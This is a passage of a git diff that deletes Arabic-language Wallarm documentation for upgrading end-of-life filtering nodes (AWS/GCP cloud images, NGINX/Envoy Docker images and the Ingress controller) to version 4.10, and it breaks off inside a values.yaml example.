../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# الترقية إلى إصدار أحدث من صورة العقدة السحابية لـ EOL - -توضح هذه التعليمات الخطوات التي يجب اتخاذها لترقية صورة العقدة السحابية التي تم الاستغناء عنها (الإصدار 3.6 والإصدارات الأقل) المنشورة على AWS أو GCP إلى 4.10. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## متطلبات - ---8<-- "../include-ar/waf/installation/basic-reqs-for-upgrades.md" - -## الخطوة 1: التواصل مع الدعم الفني لـ Wallarm بأنك تقوم بترقية الوحدات النمطية للعقدة الفلترة (فقط إذا كنت تقوم بترقية العقدة الإصدار 2.18 أو الإصدار الأقل) - -إذا كنت تقوم بترقية العقدة 2.18 أو الإصدار الأقل، يرجى إعلام [الدعم الفني لـ Wallarm](mailto:support@wallarm.com) بأنك تقوم بترقية وحدات العقدة الفلترة إلى الإصدار الأخير وطلب تمكين منطق القائمة الشبكية IP الجديدة لحسابك في Wallarm. عند تمكين منطق قائمة IP الجديدة، يرجى التأكد من اتاحة القسم [**قوائم IP**](../../user-guides/ip-lists/overview.md) في لوحة التحكم Wallarm. - -## الخطوة 2: تعطيل وحدة التحقق من التهديد النشط (فقط في حال ترقية العقدة 2.16 أو الإصدارات الأقل) - -إذا كنت تقوم بترقية العقدة Wallarm 2.16 أو الإصدار الأقل، يرجى تعطيل وحدة [التحقق من التهديد النشط](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) في لوحة التحكم Wallarm → **الثغرات الأمنية** → **تكوين**. - -يمكن أن يتسبب تشغيل الوحدة في حصول [تحذيرات إيجابية زائفة](../../about-wallarm/protecting-against-attacks.md#false-positives) أثناء عملية الترقية. يقلل تعطيل الوحدة من هذا المخاطر. - -## الخطوة 3: تحديث بوابة واجهة برمجة التطبيقات - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## الخطوة 4: مراجعة أحدث التحديثات الهندسية - -قدم التحديث الأخير [تغييرات في الهندسة المعمارية](what-is-new.md#optimized-cloud-images) قد يتأثر بها المستخدمون، خاصة الذين يقومون بتغيير ملفات التكوين الافتراضية للعقدة. يرجى التعرف على هذه التغييرات لضمان التكوين الصحيح واستخدام الصورة الجديدة بشكل صحيح. - -## الخطوة 5: إطلاق عُقدة فلترة جديدة مع الإصدار 4.10 - -نسخ إعدادات معالجة وتوكيل الطلبات من ملفات التكوين التالية لإصدار العقدة Wallarm السابق إلى ملفات العقدة الفلترة 4.10: - -1. افتح صورة العقدة الفلترة Wallarm على سوق النظام السحابي وانتقل إلى إطلاق الصورة: - * [سوق أمازون](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [سوق GCP](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. في خطوة الإطلاق، قم بتعيين الإعدادات التالية: - - * اختر نسخة الصورة `4.10.x` - * لـ AWS، حدد [المجموعة الأمنية المنشأة](../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group) في حقل **إعدادات المجموعة الأمنية** - * لـ AWS، حدد اسم [الزوج المفتاح المنشأ](../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys) في حقل **إعدادات الزوج المفتاح** -3. قم بتأكيد إطلاق العُقدة. -4. لـ GCP، قم بتكوين العُقدة وفقًا لهذه [التعليمات](../../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance). - -## الخطوة 6: ضبط إعدادات نمط التصفية للعقدة Wallarm لتكون متوافقة مع التغييرات المفعلة في الإصدارات الأخيرة (فقط في حال ترقية العقدة 2.18 أو الإصدارات الأقل) - -1. تأكد من أن السلوك المتوقع للإعدادات المدرجة أدناه يتوافق مع [المنطق المتغير لأوضاع التصفية `off` و `monitoring`](what-is-new.md#filtration-modes): - * [موجهة `wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [قاعدة التصفية العامة المكونة في لوحة التحكم Wallarm](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) - * [قواعد التصفية الموجهة للنقطة النهائية المكونة في لوحة التحكم Wallarm](../../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) -2. إذا لم يكن السلوك المتوقع يتوافق مع منطق نمط التصفية المتغير، يرجى ضبط إعدادات نمط التصفية لتكون متوافقة مع التغييرات المفعلة باستخدام [التعليمات](../../admin-en/configure-wallarm-mode.md). - -## الخطوة 7: ربط العقدة الفلترة بـ Wallarm Cloud - -1. قم بالاتصال بالعُقدة الفلترة عبر SSH. تتوفر تعليمات أكثر تفصيلاً حول الاتصال بالعُقدة في وثائق النظام السحابي: - * [وثائق AWS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [وثائق GCP](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. قم بإنشاء عُقدة Wallarm جديدة وربطها بـ Wallarm Cloud باستخدام الرمز المستخدم كموضح في التعليمات الخاصة بالنظام السحابي: - * [AWS](../../installation/cloud-platforms/aws/ami.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - * [GCP](../../installation/cloud-platforms/gcp/machine-image.md#4-connect-the-filtering-node-to-the-wallarm-cloud) - -## الخطوة 8: نسخ إعدادات العقدة الفلترة من الإصدار السابق إلى الإصدار الجديد - -1. قم بنسخ إعدادات معالجة وتوكيل الطلبات من ملفات التكوين التالية لإصدار العقدة السابق من Wallarm إلى ملفات العقدة الفلترة 4.10: - * `/etc/nginx/nginx.conf` وغيرها من الملفات ذات الإعدادات NGINX - * `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات خدمة مراقبة العقدة الفلترة - - تأكد من أن محتويات الملفات المنسوخة تتوافق مع [التكوين الآمن الموصى به](../../admin-en/configure-statistics-service.md#configuring-the-statistics-service). - - * `/etc/environment` بالمتغيرات البيئية - * أي ملفات تكوين أخرى مخصصة لمعالجة وتوكيل الطلبات، مع مراعاة التغييرات الهندسية [الحديثة](what-is-new.md#optimized-cloud-images) -1. قم بإعادة تسمية الأوامر التالية لـ NGINX إذا تم تحديدها بوضوح في ملفات التكوين: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - قمنا فقط بتغيير أسماء الأوامر، مع الحفاظ على المنطق الأصلي. ستُهمل تدريجيًّا الأوامر ذات الأسماء السابقة، لذلك يوصى بإعادة تسميتها. - -1. إذا تم تكوين [تنسيق السجل الموسع](../../admin-en/configure-logging.md#filter-node-variables)، يرجى التحقق مما إذا كان المتغير `wallarm_request_time` محددًا بوضوح في التكوين. - - إذا كان الأمر كذلك، يرجى تغيير اسمه إلى `wallarm_request_cpu_time`. - - لقد قمنا فقط بتغيير اسم المتغير، مع الحفاظ على المنطق الأصلي. يتم دعم الاسم القديم مؤقتًا أيضًا، ولكن يفضل بعد ذلك تغيير اسم المتغير. -1. إذا كنت تقوم بترقية العقدة الإصدار 2.18 أو الإصدارات الأقل، قم بـ[الترحيل](../migrate-ip-lists-to-node-3.md) من الإصدار السابق لـ Wallarm إلى الإصدار 4.10. -1. إذا كان الكود `&/usr/share/nginx/html/wallarm_blocked.html` يتم إرجاعه للطلبات المحظورة، قم بنسخ وتخصيص الإصدار [الجديد](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page). - - في الإصدار الجديد للعُقدة، تم تغيير الصفحة النموذجية لحظر Wallarm. الشعار والبريد الإلكتروني للدعم المباشر على الصفحة الآن فارغة بشكل افتراضي. - -معلومات مفصلة حول العمل مع ملفات التكوين الخاصة بـ NGINX متاحة في [وثائق NGINX الرسمية](https://nginx.org/docs/beginners_guide.html). - -[قائمة توجيهات العقدة الفلترة متاحة هنا](../../admin-en/configure-parameters-en.md). - -## الخطوة 9: الانتقال من التكوين المباشر لكشف الهجمات `overlimit_res` إلى تحديده بالواعي للقواعد - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -## الخطوة 10: إعادة تشغيل NGINX - -أعد تشغيل NGINX لتطبيق الإعدادات: - -```bash -sudo systemctl restart nginx -``` - -## الخطوة 11: اختبار تشغيل العقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## الخطوة 12: إنشاء صورة الجهاز الافتراضي استنادًا إلى العقدة الفلترة 4.10 في AWS أو GCP - -لإنشاء صورة الجهاز الافتراضي استنادًا إلى العقدة الفلترة 4.10، يُرجى اتباع التعليمات المُناسبة لـ [AWS](../../admin-en/installation-guides/amazon-cloud/create-image.md) أو [GCP](../../admin-en/installation-guides/google-cloud/create-image.md). - -## الخطوة 13: حذف المثيل السابق لعقدة Wallarm - -إذا تم تكوين الإصدار الجديد من العقدة الفلترة بنجاح وتم اختباره، فعليك إزالة المثيل والصورة الظاهرة للجهاز بها الإصدار السابق من العقدة الفلترة بإستخدام واجهة التحكم AWS أو GCP. - -## الخطوة 14: إعادة تمكين وحدة التحقق من التهديد النشط (فقط في حال ترقية العقدة 2.16 أو الإصدارات الأقل) - -اطلع على [التوصية حول إعداد وحدة التحقق من التهديد النشط](../../vulnerability-detection/threat-replay-testing/setup.md) وأعد تمكينها إذا لزم الأمر. - -بعد فترة، تأكد من أن تشغيل الوحدة لا يتسبب في تحذيرات إيجابية زائفة. في حالة اكتشاف تحذيرات إيجابية زائفة، يُرجى الاتصال بـ [الدعم الفني لـ Wallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/older-versions/docker-container.md b/docs/latest-ar/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index b8c2def293..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1,160 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[envoy-process-time-limit-docs]: ../../admin-en/configuration-guides/envoy/fine-tuning.md#process_time_limit -[envoy-process-time-limit-block-docs]: ../../admin-en/configuration-guides/envoy/fine-tuning.md#process_time_limit_block -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# ترقية صورة Docker التي تعتمد على NGINX أو Envoy والتي وصلت إلى نهاية العمر الافتراضي - -هذه التعليمات تصف الخطوات لترقية الصورة العاملة التي تعتمد على Docker NGINX أو Envoy والتي وصلت إلى نهاية العمر الافتراضي (الإصدار 3.6 والأقل) إلى الإصدار 4.10. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## المتطلبات - ---8<-- "../include/waf/installation/requirements-docker-nginx-4.0.md" - -## الخطوة 1: أبلغ الدعم الفني لـWallarm بأنك تقوم بترقية وحدات العقدة الفلترة (فقط إذا كنت تقوم بترقية العقدة 2.18 أو أقل) - -إذا كنت تقوم بترقية العقدة 2.18 أو أقل، يرجى إبلاغ [الدعم الفني لـWallarm](mailto:support@wallarm.com) بأنك تقوم بترقية وحدات العقدة الفلترة إلى 4.10 وطلب تمكين منطق القائمة الجديدة لحساب Wallarm الخاص بك. عند تمكين منطق القائمة الجديد، يرجى التأكد من أن القسم [**القائمات الفرعية**](../../user-guides/ip-lists/overview.md) من Wallarm Console متاح. - -## الخطوة 2: تعطيل وحدة التحقق من التهديدات النشطة (فقط إذا كنت تقوم بترقية العقدة 2.16 أو أقل) - -إذا كنت تقوم بترقية Wallarm node 2.16 أو أقل، يرجى تعطيل وحدة [التحقق من التهديدات النشطة](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) في Wallarm Console → **الثغرات الأمنية**→ **اضبط**. - -يمكن أن يسبب تشغيل الوحدة [الإيجابيات الكاذبة](../../about-wallarm/protecting-against-attacks.md#false-positives) أثناء عملية الترقية. تعطيل الوحدة يقلل من هذا المخاطر. - -## الخطوة 3: تحديث منفذ API - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## الخطوة 4: تنزيل صورة العقدة الفلترة المحدثة - -=== "صورة تعتمد على NGINX" - ``` bash - docker pull wallarm/node:4.10.4-1 - ``` -=== "صورة تعتمد على Envoy" - ``` bash - docker pull wallarm/envoy:4.8.0-1 - ``` - -## الخطوة 5: الانتقال إلى الاتصال القائم على الرمز المميز مع Wallarm Cloud - -مع إصدار الإصدار 4.x، تم تحديث النهج لتوصيل الحاوية بـWallarm Cloud كما يلي: - -* [تم إهمال النهج القائم على "البريد الإلكتروني وكلمة المرور"](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-tokens). في هذا النهج، تم تسجيل العقدة في Wallarm Cloud تلقائيًا بمجرد بدء تشغيل الحاوية مع إدخال البيانات المعتمدة في المتغيرات `DEPLOY_USER` و`DEPLOY_PASSWORD`. -* تم تضمين النهج القائم على الرمز المميز. لتوصيل الحاوية بالCloud، تشغيل الحاوية مع متغير `WALLARM_API_TOKEN` الذي يحتوي على الرمز المميز للعقدة Wallarm المنسوخ من واجهة المستخدم Wallarm Console. - -يوصى باستخدام النهج الجديد لتشغيل الصورة 4.10. سيتم حذف النهج القائم على "البريد الإلكتروني وكلمة المرور" في الإصدارات المستقبلية، يرجى الترحيل قبل ذلك. - -لإنشاء عقدة Wallarm جديدة والحصول على الرمز المميز الخاص بها: - -1. افتح Wallarm Console → **العقد** في [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes) وقم بإنشاء العقدة من نوع **Wallarm node**. - - ![إنشاء Wallarm node](../../images/user-guides/nodes/create-cloud-node.png) -1. انسخ الرمز المميز المولد. - -## الخطوة 6: نقل القوائم البيضاء والقوائم السوداء من الإصدار السابق للعقدة Wallarm إلى الإصدار 4.10 (فقط في حالة ترقية العقدة 2.18 أو أقل) - -إذا كنت ترقي العقدة 2.18 أو أقل، [نقل](../migrate-ip-lists-to-node-3.md) تكوين القائمة البيضاء والقائمة السوداء من الإصدار السابق للعقدة Wallarm إلى الإصدار 4.10. - -## الخطوة 7: الانتقال من خيارات التكوين المستهجنة - -توجد الخيارات التكوينية المستهجنة التالية: - -* تم إهمال متغير البيئة `WALLARM_ACL_ENABLE`. إذا تم [نقل](../migrate-ip-lists-to-node-3.md) القوائم الفرعية إلى الإصدار الجديد من العقدة، قم بإزالة هذا المتغير من أمر `docker run`. -* تمت إعادة تسمية التعليمات التوجيهية لـNGINX التالية: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - لم نغير سوى أسماء التعليمات التوجيهية، ويظل منطقها كما هو. ستتم إزالة التعليمات التوجيهية ذات الأسماء القديمة قريبًا، لذا نوصيك بإعادة تسميتها قبل ذلك. - - يرجى التحقق مما إذا كانت التعليمات التوجيهية ذات الأسماء القديمة محددة بشكل صريح في ملفات التكوين المثبتة. إذا كان الأمر كذلك، قم بإعادة تسميتها. -* تمت إعادة تسمية متغير التسجيل `wallarm_request_time` إلى `wallarm_request_cpu_time`. - - لم نغير سوى اسم المتغير، ويظل منطقه كما هو. الاسم القديم مدعوم مؤقتًا أيضًا، ولكن ما زال من المستحسن إعادة تسمية المتغير. -* تمت إعادة تسمية العوامل التالية لـEnvoy: - - * `lom` → [`custom_ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - * `instance` → [`application`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) - * القسم `tsets` → `rulesets، وبالتالي الإدخالات` tsN `في هذا القسم →` rsN ` - * `ts` → [`ruleset`](../../admin-en/configuration-guides/envoy/fine-tuning.md#ruleset_param) - * `ts_request_memory_limit` → [`general_ruleset_memory_limit`](../../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) - - لم نغير سوى أسماء العوامل، ويظل منطقها كما هو. ستتم إزالة العوامل ذات الأسماء القديمة قريبًا، لذا نوصيك بإعادة تسميتها قبل ذلك. - - يرجى التحقق مما إذا كانت العوامل ذات الأسماء القديمة محددة بشكل صريح في ملفات التكوين المثبتة. إذا كان الأمر كذلك، قم بإعادة تسميتها. - -## الخطوة 8: تحديث صفحة حجب Wallarm (في حالة ترقية صورة تعتمد على NGINX) - -في الإصدار الجديد من العقدة، تم [تغيير](what-is-new.md#new-blocking-page) صفحة الحجب النموذجية لـWallarm. الشعار والبريد الإلكتروني للدعم على الصفحة فارغان الآن بشكل افتراضي. - -إذا تم تكوين الحاوية Docker لإرجاع الصفحة `&/usr/share/nginx/html/wallarm_blocked.html` للطلبات المحجوبة، قم بتغيير هذا التكوين على النحو التالي: - -1. [نسخ وتخصيص](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) الإصدار الجديد من الصفحة النموذجية. -1. [تثبيت](../../admin-en/configuration-guides/configure-block-page-and-code.md#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) الصفحة المخصصة وملف تكوين NGINX لحاوية Docker جديدة في الخطوة التالية. - -## الخطوة 9: مراجعة التحديثات المعمارية الأخيرة (للصورة التي تعتمد على Docker و NGINX) - -قد [أدخل التعديل الأخير](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image) تحديثات معمارية قد تكون لها تأثير على المستخدمين، خاصة أولئك الذين يتعلقون بملفات التكوين المخصصة أثناء بدء تشغيل الحاوية بسبب التغييرات في مسارات بعض الملفات. يرجى التعرف على هذه التغييرات لضمان التكوين السليم واستخدام الصورة الجديدة. - -## الخطوة 10: نقل تكوين اكتشاف الهجمات `overlimit_res` من التعليمات التوجيهية إلى القاعدة - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-docker.md" - -## الخطوة 11: إيقاف تشغيل الحاوية العاملة - -```bash -docker stop <اسم الحاوية العاملة> -``` - -## الخطوة 12: تشغيل الحاوية باستخدام الصورة المحدثة - -شغل الحاوية باستخدام صورة محدثة وقم بإجراء التعديلات اللازمة على مسارات الملفات المثبتة إذا كان مطلوبًا بالنظر لـ[التغييرات الأخيرة في الصورة](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image). - -هناك خياران لتشغيل الحاوية باستخدام الصورة المحدثة: - -* **مع متغيرات البيئة** تحدد التكوين الأساسي للعقدة الفلترة - * [تعليمات للحاوية ذات التركيب Docker القائم على NGINX →](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) - * [تعليمات للحاوية ذات التركيب Docker القائم على Envoy →](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-passing-the-environment-variables) -* **في الملف التكوين المثبت** يحدد التكوين المتقدم للعقدة الفلترة - * [تعليمات للحاوية ذات التركيب Docker القائم على NGINX →](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - * [تعليمات للحاوية ذات التركيب Docker القائم على Envoy →](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-mounting-envoyyaml) - -## الخطوة 13: ضبط إعدادات وضع الترشيح للعقدة Wallarm للتغييرات التي تم إصدارها في الإصدارات الأخيرة (فقط في حالة ترقية العقدة 2.18 أو أقل) - -1. تأكد من أن السلوك المتوقع للإعدادات المدرجة أدناه يتوافق مع [المنطق المتغير لأوضاع الترشيح `off` و `monitoring`](what-is-new.md#filtration-modes): - * متغير البيئة [`WALLARM_MODE`](../../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) أو التوجيه [`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) للحاوية ذات التركيب Docker القائم على NGINX - * متغير البيئة [`WALLARM_MODE`](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-passing-the-environment-variables) أو التوجيه [`mode`](../../admin-en/configuration-guides/envoy/fine-tuning.md#basic-settings) للحاوية التي تعتمد على Envoy - * [قاعدة الترشيح العامة المكونة في Wallarm Console](../../admin-en/configure-wallarm-mode.md#setting-up-the-general-filtration-rule-in-wallarm-console) - * [قواعد الترشيح الموجهة نحو النهاية المكونة في Wallarm Console](../../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) -2. إذا لم يتوافق السلوك المتوقع مع منطق وضع الترشيح المتغير، يرجى ضبط إعدادات وضع الترشيح للتغييرات التي تم إصدارها باستخدام [التعليمات](../../admin-en/configure-wallarm-mode.md). - -## الخطوة 14: اختبار عملية العقدة الفلترة - ---8<-- "../include/waf/installation/test-after-node-type-upgrade.md" - -## الخطوة 15: حذف العقدة الفلترة للإصدار السابق - -إذا كانت صورة الإصدار 4.10 العاملة تعمل بشكل صحيح، يمكنك حذف العقدة الفلترة للإصدار السابق في قسم Wallarm Console → **العقد**. - -## الخطوة 16: إعادة تمكين وحدة التحقق من التهديدات النشطة (فقط إذا كنت تقوم بترقية العقدة 2.16 أو أقل) - -تعرف على [التوصية حول إعداد وحدة التحقق من التهديدات النشطة](../../vulnerability-detection/threat-replay-testing/setup.md) وأعد تمكينها إذا كان مطلوبًا. - -بعد فترة، تأكد من أن تشغيل الوحدة لا يسبب إيجابيات كاذبة. إذا اكتشفت إيجابيات كاذبة، يرجى الاتصال بـ[الدعم الفني لـWallarm](mailto:support@wallarm.com). \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/older-versions/ingress-controller.md b/docs/latest-ar/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index 5a009126d9..0000000000 --- a/docs/latest-ar/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1,467 +0,0 @@ -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md - -# ترقية نهاية عمر واجهة تحكم NGINX Ingress المتكاملة مع وحدات Wallarm - -تصف هذه التعليمات الخطوات لترقية Wallarm Ingress Controller المنتهي العمر (الإصدار 3.6 وأدناه) إلى الإصدار الجديد مع Wallarm node 4.10. - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -!!! warning "الإصدار المحدث لواجهة تحكم Community Ingress NGINX" - إذا كنت تقوم بترقية العقدة من الإصدار 3.4 أو أقل، يرجى ملاحظة أن الإصدار من واجهة تحكم Community Ingress NGINX الذي يعتمد عليه واجهة تحكم Wallarm Ingress قد تم ترقيته من 0.26.2 إلى 1.9.5. - - نظرًا لأن عملية واجهة تحكم Community Ingress NGINX 1.9.5 تغيرت بشكل ملحوظ، يجب ضبط التهيئة لتتكيف مع هذه التغييرات أثناء ترقية واجهة تحكم Wallarm Ingress. - - تحتوي هذه التعليمات على قائمة إعدادات واجهة تحكم Community Ingress NGINX التي قد تحتاج إلى تغييرها. ومع ذلك، يرجى وضع خطة فردية لنقل التكوين بناءً على [ملاحظات الإصدار لواجهة تحكم Community Ingress NGINX](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md). - -## متطلبات - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -## الخطوة 1: أبلغ Wallarm technical support بالترقية - -إذا كانت الترقية للعقدة 2.18 أو أقل، فـابلغ [دعم فني Wallarm](mailto:support@wallarm.com) أنك تقوم بتحديث وحدات فرز العقدة إلى 4.10 واطلب تمكين منطق قوائم الأي بي الجديدة لحساب Wallarm الخاص بك. - -عند تمكين منطق قوائم الأي بي الجديدة، يرجى فتح Wallarm Console والتأكد من أن القسم [**قوائم الأي بي**](../../user-guides/ip-lists/overview.md) متاح. - -## الخطوة 2: تعطيل وحدة التحقق من التهديد النشط (فقط إذا كانت الترقية للعقدة 2.16 أو أقل) - -إذا كانت الترقية لـ Wallarm node 2.16 أو أقل، يرجى تعطيل وحدة [التحقق من التهديد النشط](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) في Wallarm Console → **الثغرات الأمنية** → **تكوين**. - -يمكن أن يتسبب تشغيل الوحدة في [إيجادات كاذبة](../../about-wallarm/protecting-against-attacks.md#false-positives) أثناء عملية الترقية. يقلل تعطيل الوحدة من هذا المخاطر. - -## الخطوة 3: حدّث منفذ الواجهة البرمجية للتطبيق API - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## الخطوة 4: حدّث مستودع Wallarm Helm - -=== "إذا كان يتم استخدام مستودع Helm" - ```bash - helm repo update wallarm - ``` -=== "إذا كان يتم استخدام مستودع GitHub المستنسخ" - أضف [مستودع Wallarm Helm](https://charts.wallarm.com/) الذي يحتوي على جميع إصدارات الرسم البياني باستخدام الأمر أدناه. يرجى استخدام مستودع Helm للعمل التالي مع واجهة تحكم Wallarm Ingress. - - ```bash - helm repo add wallarm https://charts.wallarm.com - helm repo update wallarm - ``` - -## الخطوة 5: حدّث التكوين `values.yaml` - -للانتقال إلى واجهة تحكم Wallarm Ingress 4.10، حدّث التكوين التالي المحدد في الملف `values.yaml`: - -* التكوين القياسي لواجهة تحكم Community Ingress NGINX -* تكوين وحدة Wallarm - -### التكوين القياسي لواجهة تحكم Community Ingress NGINX - -1. تحقق من [ملاحظات الإصدار على واجهة تحكم Community Ingress NGINX](https://github.com/kubernetes/ingress-nginx/blob/main/Changelog.md) 0.27.0 وأعلى وحدد الإعدادات التي يجب تغييرها في الملف `values.yaml`. -2. حدّث الإعدادات المحددة في الملف `values.yaml`. - -هناك الإعدادات التالية التي يجب على الأرجح تغييرها: - -* [تقرير صحيح لعنوان الأي بي العام لمستخدم النهاية](../../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) إذا تم إرسال الطلبات عبر موزع الحمل قبل إرسالها إلى واجهة تحكم Wallarm Ingress. - - ```diff - controller: - config: - - use-forwarded-headers: "true" - + enable-real-ip: "true" - + forwarded-for-header: "X-Forwarded-For" - ``` -* [تكوين IngressClasses](https://kubernetes.github.io/ingress-nginx/user-guide/multiple-ingress/). تم ترقية الإصدار من API الكوبرنتيس المستخدم في واجهة التحكم Ingress الجديدة التي تتطلب تكوين IngressClasses عبر المعلمات `.controller.ingressClass`, `.controller.ingressClassResource` و `.controller.watchIngressWithoutClass`. - - ```diff - controller: - + ingressClass: waf-ingress - + ingressClassResource: - + name: waf-ingress - + default: true - + watchIngressWithoutClass: true - ``` -* [مجموعة معلمات ConfigMap (`.controller.config`)](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/), مثلاً: - - ```diff - controller: - config: - + allow-backend-server-header: "false" - enable-brotli: "true" - gzip-level: "3" - hide-headers: Server - server-snippet: | - proxy_request_buffering on; - wallarm_enable_libdetection on; - ``` -* [التحقق من بناء جملة Ingress عبر "admission webhook"](https://kubernetes.github.io/ingress-nginx/how-it-works/#avoiding-outage-from-wrong-configuration) الآن مُمكَّن بشكل افتراضي. - - ```diff - controller: - + admissionWebhooks: - + enabled: true - ``` - - !!! warning "تعطيل التحقق من بناء الجملة لـ Ingress" - يُوصى بتعطيل التحقق من بناء الجملة لـ Ingress فقط إذا كان يفسد استقرار تشغيل أجسام Ingress. -* [تنسيق التسمية](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/). إذا وضع ملف `values.yaml` قواعد تجانس الحمولات، قم بتغيير تنسيق التسمية في هذه القواعد، مثلاً: - - ```diff - controller: - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - podAffinityTerm: - labelSelector: - matchExpressions: - - - key: app - + - key: app.kubernetes.io/name - operator: In - values: - - waf-ingress - - - key: component - + - key: app.kubernetes.io/component - operator: In - values: - - - waf-ingress - + - controller - - - key: release - + - key: app.kubernetes.io/instance - operator: In - values: - - waf-ingress-ingress - topologyKey: kubernetes.io/hostname - weight: 100 - ``` - -### تكوين وحدة Wallarm - -قم بتغيير مجموعة تكوين وحدة Wallarm المضبوطة في ملف `values.yaml` كما يلي: - -* إذا كانت الترقية من الإصدار 2.18 أو أقل، قم بـ[ترحيل](../migrate-ip-lists-to-node-3.md) تكوين قائمة الأي بي. هناك المعلمات التالية المحتمل حذفها من `values.yaml`: - - ```diff - controller: - wallarm: - enabled: 